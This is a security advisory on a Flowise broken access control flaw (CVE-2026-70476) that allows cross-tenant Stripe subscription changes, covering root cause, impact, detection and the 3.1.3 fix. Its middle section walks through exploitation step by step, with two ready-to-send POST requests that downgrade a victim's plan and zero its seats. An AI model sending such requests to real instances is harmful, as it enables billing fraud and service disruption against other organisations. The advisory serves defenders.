CVE-2026-70476: 
Flowise vulnerability analysis and mitigation

CVE-2026-70476 is a broken access control vulnerability in Flowise, a drag-and-drop UI for building LLM workflows, that allows authenticated attackers to perform unauthorized Stripe subscription operations on other tenants' billing accounts. The flaw affects all Flowise versions up to and including 3.1.2 (npm package flowise), and was fixed in version 3.1.3. The advisory was first published on July 29, 2026, and added to the GitHub Advisory Database on August 4, 2026. It carries a CVSS v4.0 base score of 8.3 (High) (Github Advisory).

The root cause is improper access control (CWE-284) combined with authorization bypass through a user-controlled key (CWE-639). In packages/server/src/enterprise/controllers/organization.controller.ts, the endpoints POST /api/v1/organization/update-subscription-plan and POST /api/v1/organization/update-additional-seats extract the subscriptionId directly from the attacker-controlled request body and forward it to the Stripe integration layer without verifying that the identifier belongs to the authenticated user's active organization (req.user.activeOrganization). The fix introduced an assertStripeIdMatchesSession() guard in packages/server/src/enterprise/utils/tenantRequestGuards.ts that compares the request-supplied ID against the session-bound activeOrganizationSubscriptionId, throwing a FORBIDDEN error on mismatch (Github Advisory, Fix PR, Fix Commit).

An authenticated attacker can manipulate the Stripe subscription of any other organization on the same Flowise instance by supplying a victim organization's subscriptionId. Concrete consequences include unauthorized subscription upgrades to higher-priced plans (causing financial charges to the victim), manipulation of paid seat quantities, and service disruption through plan downgrades. While confidentiality is not directly impacted, the integrity impact is high due to unauthorized modification of billing state, and availability may be partially affected if a victim's subscription is downgraded or seats are reduced to zero (Github Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the advisory publication date (Github Advisory). The EPSS score is 0.0, indicating a currently low probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account on the target Flowise instance, but the advisory notes that self-service provisioned accounts (e.g., free trial accounts) may satisfy this precondition without elevated privileges.

1. Obtain an authenticated session: Register or log in to the target Flowise instance to obtain a valid session token (e.g., via a free trial or compromised account).
2. Enumerate victim subscriptionId: Query the organization read endpoint or other exposed API references to discover a victim organization's Stripe subscriptionId (format: sub_YYYYYYYYYYYY).
3. Downgrade victim subscription plan: Send a crafted POST request to /api/v1/organization/update-subscription-plan with the victim's subscriptionId and a target newPlanId (e.g., a free plan ID):

POST /api/v1/organization/update-subscription-plan
Host: target.example.com
Cookie: token=<attacker_session_token>
Content-Type: application/json

{"subscriptionId": "sub_YYYYYYYYYYYY", "newPlanId": "free_plan_id", "prorationDate": 1735689600}

4. Manipulate seat quantity: Send a crafted POST request to /api/v1/organization/update-additional-seats to set the victim's seat count to zero or an arbitrary value:

POST /api/v1/organization/update-additional-seats
Host: target.example.com
Cookie: token=<attacker_session_token>
Content-Type: application/json

{"subscriptionId": "sub_YYYYYYYYYYYY", "quantity": 0, "prorationDate": 1735689600}

5. Achieve impact: The Stripe subscription for the victim organization is modified, resulting in service disruption or unexpected financial charges (Github Advisory).

• Network/Logs: Unexpected POST requests to /api/v1/organization/update-subscription-plan or /api/v1/organization/update-additional-seats from authenticated users whose session organization does not match the subscriptionId in the request body.
• Logs: Server access logs showing HTTP 200 responses to the above endpoints where the requesting user's activeOrganizationSubscriptionId differs from the submitted subscriptionId.
• Application Behavior: Unexpected Stripe subscription plan changes or seat quantity modifications not initiated by the affected organization's administrators; Stripe webhook events (e.g., customer.subscription.updated) triggered without corresponding user action from the subscription owner.
• Audit Trail: Absence of corresponding billing change events in the victim organization's activity log while Stripe records show modifications (Github Advisory).

Upgrade the Flowise npm package to version 3.1.3 or later, which introduces the assertStripeIdMatchesSession() guard that validates the request-supplied subscriptionId and customerId against the authenticated user's session-bound organization identifiers before processing any billing operations (Flowise Release, Fix Commit). No configuration-based workaround is available for unpatched versions; the only remediation is upgrading to 3.1.3. Organizations running multi-tenant Flowise deployments should treat this as a high-priority patch given the potential for cross-tenant financial manipulation.